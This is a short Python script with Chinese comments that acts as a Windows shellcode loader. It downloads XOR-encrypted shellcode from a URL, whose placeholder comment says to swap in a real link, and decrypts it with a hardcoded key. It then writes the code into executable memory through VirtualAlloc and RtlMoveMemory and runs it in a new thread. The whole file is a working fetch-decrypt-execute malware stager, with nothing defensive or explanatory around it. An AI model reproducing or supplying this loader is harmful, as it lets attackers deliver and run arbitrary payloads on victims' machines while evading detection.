import ctypes
import urllib.request

def xor_encrypt(data: bytes, key: str) -> bytes:
    """
    使用自定义 key 进行 XOR 加密（对称）
    :param data: 要加密的原始字节数据
    :param key: 任意长度的字符串密钥
    :return: 加密后的字节数据
    """
    key_bytes = key.encode()
    key_len = len(key_bytes)
    return bytes([b ^ key_bytes[i % key_len] for i, b in enumerate(data)])

def xor_decrypt(encrypted_data: bytes, key: str) -> bytes:
    """
    XOR 解密，与加密函数完全相同（对称算法）
    """
    return xor_encrypt(encrypted_data, key)  # 同加密函数

key = "my_secret_key"



url = "http://127.0.0.1:8080/xor_shellcode.txt"  # 替换成真实链接

# 下载加密的 shellcode
print("[*] 下载远程 shellcode...")
response = urllib.request.urlopen(url)
xor_shellcode = response.read()


# 解密
print("[*] 解密 shellcode...")
shellcode = xor_decrypt(xor_shellcode,key)


# 执行
print("[*] 执行 shellcode...")
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
page = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(page), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(page), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)